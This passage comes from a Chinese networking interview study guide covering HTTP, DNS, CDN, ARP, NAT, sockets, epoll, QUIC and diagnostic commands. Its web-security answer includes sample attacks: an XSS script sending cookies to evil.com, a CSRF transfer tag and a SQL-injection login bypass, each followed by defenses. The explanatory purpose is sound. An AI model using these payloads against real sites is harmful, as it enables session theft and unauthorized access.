# 客户端发起HTTP升级请求
GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13

# 服务器同意升级
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

# 之后双方通过WebSocket帧通信

WebSocket vs HTTP 对比:

维度 HTTP WebSocket
通信模式 请求-响应(单向) 全双工(双向)
连接 短连接或keep-alive 持久连接
实时性 需要轮询/长轮询 实时推送
头部开销 每次请求都带完整头部 握手后帧头很小(2-10字节)
协议标识 http:// / https:// ws:// / wss://
适用场景 传统Web请求 实时应用

WebSocket应用场景: - 即时通讯(聊天) - 实时数据推送(股票行情、体育比分) - 在线协作编辑 - 多人在线游戏 - 实时日志监控

替代方案对比: - 短轮询:客户端定时发HTTP请求,浪费资源 - 长轮询:服务器保持请求直到有数据,再响应 - SSE(Server-Sent Events):服务器单向推送,基于HTTP - WebSocket:双向通信,最适合高频实时场景

26. HTTP长连接和短连接的区别是什么?

短连接(HTTP/1.0默认):

Text Only
建立TCP连接 → 发送HTTP请求 → 接收响应 → 关闭TCP连接
建立TCP连接 → 发送HTTP请求 → 接收响应 → 关闭TCP连接
每次请求都要经历三次握手和四次挥手

长连接(HTTP/1.1默认):

Text Only
建立TCP连接 → 发送请求1 → 响应1 → 发送请求2 → 响应2 → ... → 关闭连接
一次TCP连接,多次HTTP请求和响应

Connection头部:

Text Only
HTTP/1.0:  Connection: keep-alive  (主动开启)
HTTP/1.1:  Connection: close       (主动关闭,默认是长连接)

长连接的优缺点: - 优点:减少TCP握手次数,降低延迟,减少服务器资源消耗 - 缺点:长时间占用连接,如果客户端很多但请求频率低,会浪费资源 - 解决:设置超时时间(Keep-Alive: timeout=60, max=100)

27. 什么是Cookie的安全属性?如何安全使用Cookie?

Cookie的安全相关属性:

Text Only
Set-Cookie: session_id=abc123;
  Domain=example.com;
  Path=/;
  Expires=Thu, 01 Jan 2026 00:00:00 GMT;
  Max-Age=86400;
  Secure;
  HttpOnly;
  SameSite=Strict;
属性 说明
Secure 仅通过HTTPS传输
HttpOnly JavaScript无法访问(防XSS)
SameSite 控制跨站请求携带(防CSRF)
Domain 限定可用域名
Path 限定可用路径
Max-Age/Expires 有效期

SameSite三种值: - Strict:完全禁止第三方请求携带Cookie - Lax:允许GET导航(链接跳转)携带,但禁止POST等 - None:允许跨站携带(必须同时设置Secure)


四、综合题(13题)

28. 输入URL到页面显示的完整过程是什么?

这是网络面试中最高频的综合题,涉及整个网络通信链路:

1. URL解析 - 浏览器解析URL:协议(https)、域名(www.example.com)、端口(443)、路径(/index.html) - 检查HSTS列表,如果在列表中则直接用HTTPS

2. DNS解析(域名→IP)

Text Only
浏览器DNS缓存 → 操作系统DNS缓存 → hosts文件
→ 本地DNS服务器 → 根DNS → 顶级域DNS → 权威DNS
最终获得IP地址, 如: 93.184.216.34

3. 建立TCP连接(三次握手)

Text Only
Client → SYN → Server
Client ← SYN+ACK ← Server
Client → ACK → Server

4. TLS握手(HTTPS)

Text Only
Client → ClientHello → Server
Client ← ServerHello + 证书 ← Server
Client → 密钥交换 → Server
双方生成会话密钥

5. 发送HTTP请求

Text Only
GET /index.html HTTP/1.1
Host: www.example.com
User-Agent: Chrome/120
Accept: text/html
Cookie: session_id=abc

6. 服务器处理请求 - 负载均衡器分发请求 - Web服务器(Nginx)处理静态资源或转发到应用服务器 - 应用服务器处理业务逻辑 - 查询数据库/缓存获取数据 - 返回HTTP响应

7. 浏览器接收响应

Text Only
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 12345

8. 浏览器解析和渲染

Text Only
        HTML字符串
            ↓ HTML解析器
        DOM树(Document Object Model)
            ↓  ← CSS解析 → CSSOM树
        渲染树(Render Tree)  [DOM + CSSOM合并]
        布局(Layout/Reflow)  [计算位置和大小]
        绘制(Paint)  [绘制到屏幕]
        合成(Composite)  [GPU加速, 层合成]

详细过程: 1. 解析HTML → 构建DOM树 2. 遇到CSS → 构建CSSOM树 3. 遇到JS → 阻塞DOM构建,下载执行JS(defer/async可以异步) 4. DOM + CSSOM → 渲染树(不包含不可见元素如display:none) 5. 布局:计算每个元素的位置和大小 6. 绘制:绘制到屏幕 7. 合成:将不同层合成最终页面

9. 连接关闭(四次挥手)

29. DNS解析的详细过程是什么?递归查询和迭代查询有什么区别?

DNS解析的完整过程:

Text Only
1. 浏览器缓存 → 2. 操作系统缓存 → 3. hosts文件
        ↓ (都没有)
4. 本地DNS服务器(LDNS, 如运营商DNS 8.8.8.8)
        ↓ (没有缓存)
5. 根域名服务器(.) → 返回.com的顶级域服务器地址
6. 顶级域服务器(.com) → 返回example.com的权威服务器地址
7. 权威域名服务器(example.com) → 返回www.example.com的IP地址
8. 本地DNS服务器缓存结果并返回给客户端

递归查询 vs 迭代查询:

递归查询: - 客户端向本地DNS服务器发起请求 - 本地DNS服务器如果没有缓存,会代替客户端依次查询 - 最终将结果返回给客户端 - 客户端只需要发一次请求

迭代查询: - 本地DNS向根DNS请求,根返回"我不知道,你去问.com服务器" - 本地DNS再向.com服务器请求,返回"你去问example.com的权威服务器" - 本地DNS再向权威服务器请求,返回最终结果

通常的模式: - 客户端→本地DNS:递归查询 - 本地DNS→其他DNS服务器:迭代查询

DNS记录类型: - A记录:域名→IPv4地址 - AAAA记录:域名→IPv6地址 - CNAME:域名→另一个域名(别名) - MX记录:邮件服务器地址 - NS记录:域名的DNS服务器 - TXT记录:文本信息(如SPF、DKIM)

30. CDN的工作原理是什么?

CDN(Content Delivery Network,内容分发网络):

将内容(静态资源)缓存到离用户最近的边缘节点,减少网络延迟。

CDN工作流程:

Text Only
用户 → DNS解析 → CDN智能DNS → 选择最近的边缘节点
边缘节点有缓存?
  ├── 是 → 直接返回内容(缓存命中)
  └── 否 →  回源请求(向源站获取内容)
            ↓ 缓存到边缘节点
            ↓ 返回给用户

CDN的核心技术:

  1. 智能DNS调度:根据用户IP、网络状况、节点负载等选择最优节点
  2. 内容缓存:将源站内容缓存在边缘节点
  3. 内容预推送:主动将内容推送到边缘节点
  4. 负载均衡:在多个边缘节点间分配流量

CDN适合加速的内容: - 静态资源:图片、CSS、JS、视频 - 大文件下载 - 直播/点播视频流 - 动态内容加速(通过智能路由优化回源路径)

CDN的优势: - 减少延迟:用户就近访问 - 降低源站压力:大部分请求由CDN节点处理 - 提高可用性:节点冗余,抗单点故障 - 防DDoS:分散攻击流量

31. ARP协议的工作原理是什么?

ARP(Address Resolution Protocol,地址解析协议): 将网络层的IP地址解析为数据链路层的MAC地址。

为什么需要ARP? - 在局域网中,数据帧的传输依赖MAC地址 - 应用程序只知道目标IP,需要找到对应的MAC地址才能封装成帧发送

ARP工作过程:

Text Only
主机A(192.168.1.1)要发送数据给主机B(192.168.1.2)

1. 主机A查看ARP缓存表,是否有B的IP→MAC映射
2. 如果没有,广播ARP请求:
   "谁是192.168.1.2? 请告诉192.168.1.1(MAC: AA:AA:AA:AA:AA:AA)"
   (广播帧, 目的MAC=FF:FF:FF:FF:FF:FF)
3. 网络中所有主机都收到广播
4. 主机B发现是找自己,单播ARP应答:
   "我是192.168.1.2,我的MAC是BB:BB:BB:BB:BB:BB"
5. 主机A收到应答,更新ARP缓存表
6. 之后用B的MAC地址封装数据帧发送

ARP缓存:

Bash
# 查看ARP缓存
arp -a

# 条目有生存时间(TTL),通常为20分钟

ARP安全问题 - ARP欺骗: - 攻击者发送伪造的ARP应答,将自己的MAC与目标IP绑定 - 导致数据被发送到攻击者(中间人攻击) - 防御:使用静态ARP绑定、ARP检测工具、交换机DAI(动态ARP检测)

32. DHCP协议的工作原理是什么?

DHCP(Dynamic Host Configuration Protocol,动态主机配置协议): 自动为网络中的设备分配IP地址和其他网络配置信息。

DHCP四步骤(DORA过程):

Text Only
客户端                             DHCP服务器
   |                                  |
   |-- 1. DHCP Discover (广播) -----> |
   |   "有DHCP服务器吗?我需要IP"      |
   |                                  |
   |<- 2. DHCP Offer (单播/广播) ---- |
   |   "我可以给你192.168.1.100"       |
   |                                  |
   |-- 3. DHCP Request (广播) ------> |
   |   "我接受你提供的192.168.1.100"    |
   |                                  |
   |<- 4. DHCP ACK (单播/广播) ------ |
   |   "确认,IP已分配给你,租期24小时"  |

DHCP分配的信息: - IP地址 - 子网掩码 - 默认网关 - DNS服务器地址 - 租期(Lease Time)

IP地址租约续约: - 租期过半时,客户端向DHCP服务器发送续约请求 - 租期过了87.5%还没续约成功,向任意DHCP服务器广播续约 - 租期到期后,IP被回收,需要重新发起DORA

33. NAT的工作原理和类型是什么?

NAT(Network Address Translation,网络地址转换): 将私有IP地址转换为公有IP地址,使内网设备可以访问外网。

为什么需要NAT? - IPv4地址不够用(2^32 ≈ 43亿) - 私有IP地址不能在公网路由 - 隐藏内网结构,提高安全性

NAT的三种类型:

1. 静态NAT(一对一) - 一个私有IP对应一个公网IP - 常用于需要外网访问的服务器(如Web服务器)

2. 动态NAT(多对多) - 从公网IP池中动态分配 - 用完后归还

3. NAPT/PAT(多对一,最常用) - 多个私有IP共享一个公网IP - 通过端口号区分不同的内网地址

Text Only
内网设备A: 192.168.1.10:5000 → NAT → 公网IP:60001 → 目标服务器
内网设备B: 192.168.1.20:5000 → NAT → 公网IP:60002 → 目标服务器
内网设备C: 192.168.1.30:8000 → NAT → 公网IP:60003 → 目标服务器

NAT转换表:
| 内网地址:端口 | 公网地址:端口 |
| 192.168.1.10:5000 | 1.2.3.4:60001 |
| 192.168.1.20:5000 | 1.2.3.4:60002 |
| 192.168.1.30:8000 | 1.2.3.4:60003 |

NAT的问题: - 外网主动访问内网困难(需要端口映射) - P2P通信受影响(需要NAT穿透技术:STUN/TURN/ICE) - 某些协议在NAT下有兼容性问题

34. 正向代理和反向代理的区别是什么?

正向代理(Forward Proxy): 代理客户端,客户端通过代理访问目标服务器。服务器不知道真正的客户端是谁。

Text Only
客户端 → 正向代理 → 目标服务器
  ↑        ↑
客户端知道代理   服务器不知道客户端真实IP

应用场景: - 科学上网(VPN/代理) - 企业网关(控制员工上网) - 缓存加速 - 隐藏客户端真实IP

反向代理(Reverse Proxy): 代理服务器端,客户端向代理发送请求,代理转发到后端服务器。客户端不知道真正的服务器是谁。

Text Only
客户端 → 反向代理(如Nginx) → 后端服务器1
                             → 后端服务器2
                             → 后端服务器3
  ↑                ↑
客户端不知道      反向代理对外暴露,
后端真实服务器    后端服务器隐藏

应用场景: - 负载均衡 - SSL终止 - 缓存静态资源 - 安全防护(隐藏后端服务器) - 统一入口/API网关

维度 正向代理 反向代理
代理对象 客户端 服务器
知晓方 客户端知道代理 客户端不知道后端
配置方 客户端配置 服务器端配置
主要目的 访问控制/翻墙 负载均衡/安全

35. XSS、CSRF和SQL注入攻击的原理和防御方法?

1. XSS(Cross-Site Scripting,跨站脚本攻击)

原理: 攻击者将恶意脚本注入到网页中,当其他用户浏览该页面时执行恶意脚本。

三种类型:

  • 存储型XSS:恶意脚本存入数据库(如评论区),每次页面加载都执行

    HTML
    <!-- 评论内容 -->
    <script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
    

  • 反射型XSS:恶意脚本在URL中,服务器将其反射回页面

    Text Only
    http://example.com/search?q=<script>alert('xss')</script>
    

  • DOM型XSS:通过修改DOM结构在客户端执行恶意脚本

防御方法: 1. 输入过滤和输出编码:对用户输入进行HTML实体编码

Python
# & → &amp;  < → &lt;  > → &gt;  " → &quot;  ' → &#x27;
2. CSP(Content Security Policy):限制资源加载来源
Text Only
Content-Security-Policy: default-src 'self'; script-src 'self'
3. HttpOnly Cookie:防止JavaScript读取Cookie 4. 使用安全的模板引擎(自动转义)


2. CSRF(Cross-Site Request Forgery,跨站请求伪造)

原理: 攻击者诱骗已登录的用户访问恶意页面,利用用户的认证状态(Cookie)向目标站点发送伪造请求。

Text Only
用户已登录 bank.com(Cookie中有认证信息)
访问恶意网站 evil.com
evil.com页面中hidden的表单/img标签自动向bank.com发送请求:
<img src="http://bank.com/transfer?to=hacker&amount=10000">
浏览器自动携带bank.com的Cookie,请求以用户身份执行

防御方法: 1. CSRF Token:表单中嵌入随机Token,服务器验证 2. SameSite Cookie:设置SameSite=Strict或Lax 3. Referer/Origin检查:验证请求来源 4. 验证码:关键操作要求用户交互确认 5. 自定义请求头:CSRF无法设置自定义头部


3. SQL注入(SQL Injection)

原理: 攻击者通过在输入中插入SQL语句,改变原有SQL逻辑。

SQL
-- 正常查询
SELECT * FROM users WHERE username='admin' AND password='123456'

-- 攻击者输入: username = admin' OR '1'='1' --
-- 变成:
SELECT * FROM users WHERE username='admin' OR '1'='1' --' AND password='...'
-- '1'='1'永远为真,绕过密码验证

防御方法: 1. 参数化查询(预编译语句):最有效的防御方式

Python
cursor.execute("SELECT * FROM users WHERE username=%s AND password=%s", (username, password))
2. ORM框架:使用ORM避免直接写SQL 3. 输入验证:白名单过滤,限制输入类型和长度 4. 最小权限:数据库用户使用最小必要权限 5. WAF(Web应用防火墙):过滤恶意SQL

36. DDoS攻击有哪些类型?如何防御?

DDoS(Distributed Denial of Service,分布式拒绝服务): 利用大量被控制的计算机(botnet)向目标发送海量请求,耗尽目标资源导致服务不可用。

常见攻击类型:

网络层攻击: - SYN Flood:发送大量SYN包占满半连接队列 - UDP Flood:发送大量UDP包耗尽带宽 - ICMP Flood(Ping Flood):发送大量ICMP包 - Smurf攻击:伪造源IP为受害者IP,向广播地址发ICMP

应用层攻击: - HTTP Flood:发送大量HTTP请求 - CC攻击:模拟正常请求,大量访问消耗资源的页面 - Slowloris:建立大量HTTP连接但极慢地发送数据,占满连接数

防御方案: 1. 网络层防御: - 流量清洗(DDoS防护服务) - 黑洞路由(将攻击流量引到黑洞) - 限制ICMP/UDP流量

  1. 传输层防御
  2. SYN Cookie
  3. 增大TCP半连接队列
  4. 缩短SYN-ACK超时时间

  5. 应用层防御

  6. WAF过滤恶意请求
  7. 限流/熔断
  8. 验证码(人机区分)

  9. 架构层防御

  10. CDN分散流量
  11. 高防IP/高防服务器
  12. 弹性扩容(云服务自动扩展)
  13. Anycast网络

37. Socket编程的基本流程是什么?

Socket(套接字): 网络通信的端点,提供了进程间网络通信的接口。

TCP Socket编程流程:

Text Only
服务器端(Server)                    客户端(Client)
    |                                   |
  socket()  创建套接字               socket()
    |                                   |
  bind()    绑定IP和端口                |
    |                                   |
  listen()  监听连接                    |
    |                                   |
  accept()  等待客户端连接 <--------- connect() 发起连接
    |       (阻塞)                      |
    |       三次握手完成                  |
    |                                   |
  recv() <--------------------------- send()   发送数据
    |                                   |
  send()  ---------------------------> recv()   接收数据
    |                                   |
  close()  关闭连接                  close()

Python TCP Socket示例:

Python
# 服务器端
import socket

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # TCP
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', 8080))
server.listen(5)  # 最大等待连接数

print("服务器启动,等待连接...")
conn, addr = server.accept()  # 阻塞等待
print(f"客户端连接: {addr}")

data = conn.recv(1024)  # 接收数据
print(f"收到: {data.decode()}")
conn.send("Hello Client!".encode())  # 发送数据

conn.close()
server.close()
Python
# 客户端
import socket

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('127.0.0.1', 8080))

client.send("Hello Server!".encode())
data = client.recv(1024)
print(f"收到: {data.decode()}")

client.close()

UDP Socket编程流程(简单,无连接):

Python
# UDP服务器
server = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  # UDP
server.bind(('0.0.0.0', 8080))
data, addr = server.recvfrom(1024)
server.sendto(b"response", addr)

# UDP客户端
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.sendto(b"hello", ('127.0.0.1', 8080))
data, addr = client.recvfrom(1024)

38. 什么是IO多路复用?Select、Poll、Epoll有什么区别?

IO多路复用: 使用一个线程监听多个Socket的IO事件,当某个Socket就绪时进行处理,避免为每个连接创建一个线程。

select:

C
fd_set readfds;
FD_ZERO(&readfds);
FD_SET(sockfd, &readfds);
select(maxfd+1, &readfds, NULL, NULL, timeout);
- 将fd集合从用户态拷贝到内核态 - 内核遍历所有fd检查是否就绪 - 返回就绪fd数量,用户态需要再次遍历找到就绪的fd - 限制:fd数量最大1024(FD_SETSIZE) - 每次调用需要重新设置fd集合

poll:

C
struct pollfd fds[MAX];  // struct结构体:自定义复合数据类型
fds[0].fd = sockfd;
fds[0].events = POLLIN;
poll(fds, nfds, timeout);
- 使用pollfd数组替代bitmap,没有1024限制 - 本质和select相同,仍需遍历 - 每次调用需要重新传入fd数组

epoll(Linux特有,推荐):

C
int epfd = epoll_create(1);            // 创建epoll实例
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &ev);  // 注册fd
int n = epoll_wait(epfd, events, MAX, timeout);  // 等待就绪
// events数组中直接包含就绪的fd

对比 select poll epoll
fd数量限制 1024 无限制 无限制
数据结构 bitmap 数组 红黑树+就绪链表
内核实现 遍历 遍历 回调
时间复杂度 O(n) O(n) O(1)
fd拷贝 每次全量 每次全量 仅注册时一次
触发模式 水平触发(LT) 水平触发(LT) LT和边缘触发(ET)

epoll的两种触发模式: - LT(Level Trigger):只要fd就绪就会通知,多次通知,编程简单 - ET(Edge Trigger):fd状态变化时才通知,只通知一次,效率高但需要一次读完

39. 什么是QUIC协议?它解决了什么问题?

QUIC(Quick UDP Internet Connections): 由Google设计,基于UDP实现的传输层协议,是HTTP/3的底层协议。

QUIC解决的问题:

1. TCP建连延迟(0-RTT/1-RTT)

Text Only
TCP + TLS 1.2: 需要3个RTT (TCP握手1RTT + TLS握手2RTT)
TCP + TLS 1.3: 需要2个RTT (TCP握手1RTT + TLS握手1RTT)
QUIC首次:      1个RTT (QUIC整合了传输和加密握手)
QUIC恢复:      0个RTT (使用缓存的密钥)

2. TCP队头阻塞

Text Only
TCP: 一个包丢失会阻塞所有流
QUIC: 每个流独立,一个流丢包不影响其他流

3. 连接迁移

Text Only
TCP: 用(源IP, 源端口, 目的IP, 目的端口)标识连接
     网络切换(WiFi→4G)→ IP变化 → 连接断开

QUIC: 用Connection ID标识连接
      网络切换 → IP变化但Connection ID不变 → 连接不断

4. 加密范围更广 - TCP只加密payload,头部明文 - QUIC绝大部分头部字段也加密,防止中间设备窥探

QUIC的主要特点: - 基于UDP,在用户态实现,可以快速迭代 - 集成TLS 1.3加密 - 多路复用无队头阻塞 - 连接迁移 - 前向纠错(减少重传) - 改进的拥塞控制

40. 常见的网络排障命令和工具有哪些?

1. ping — 测试连通性

Bash
ping google.com        # 测试能否到达
ping -c 4 google.com   # 发送4个包
ping -t google.com     # 持续ping(Windows)

2. traceroute/tracert — 路由追踪

Bash
traceroute google.com   # Linux/Mac
tracert google.com      # Windows
# 显示数据包经过的每一跳路由器

3. nslookup/dig — DNS查询

Bash
nslookup google.com          # 查询DNS
dig google.com               # 更详细的DNS查询
dig +trace google.com        # 追踪DNS解析过程

4. netstat/ss — 网络连接状态

Bash
netstat -antp        # 查看所有TCP连接
netstat -tunlp       # 查看监听端口
ss -s                # 连接统计摘要
ss -tnlp             # 监听端口(比netstat更快)

5. tcpdump — 抓包

Bash
tcpdump -i eth0 host 192.168.1.1          # 抓指定IP的包
tcpdump -i eth0 port 80                    # 抓80端口的包
tcpdump -i eth0 tcp and port 443 -w a.pcap # 抓包保存文件

6. curl — HTTP调试

Bash
curl -v https://example.com         # 详细输出(含头部)
curl -I https://example.com         # 只看响应头
curl -X POST -d '{"key":"value"}' URL  # POST请求
curl -w "%{time_total}\n" URL       # 显示耗时

7. Wireshark — 图形化抓包分析工具 - 可以分析各层协议细节 - 支持过滤表达式 - 支持TCP流追踪

8. ifconfig/ip — 网络接口

Bash
ifconfig          # 查看网络接口(旧)
ip addr           # 查看IP地址(新)
ip route          # 查看路由表

排障思路:

Bash
1. ping 目标IP  是否可达?(网络层)
2. telnet IP PORT  端口是否开放?(传输层)
3. curl URL  HTTP是否正常?(应用层)
4. nslookup  DNS解析是否正常?
5. traceroute  哪一跳出了问题?
6. tcpdump/Wireshark  抓包分析具体问题


面试答题技巧

  1. 分层回答:网络问题按OSI/TCP-IP层次分析,条理清晰
  2. 画图辅助:三次握手、四次挥手等用时序图说明
  3. 结合实际:结合项目中的网络问题排查经验
  4. 对比记忆:TCP vs UDP、HTTP各版本、GET vs POST等用表格对比
  5. 追问准备:常见追问如"为什么握手三次挥手四次"、"HTTPS为什么安全"等

最后更新:2025年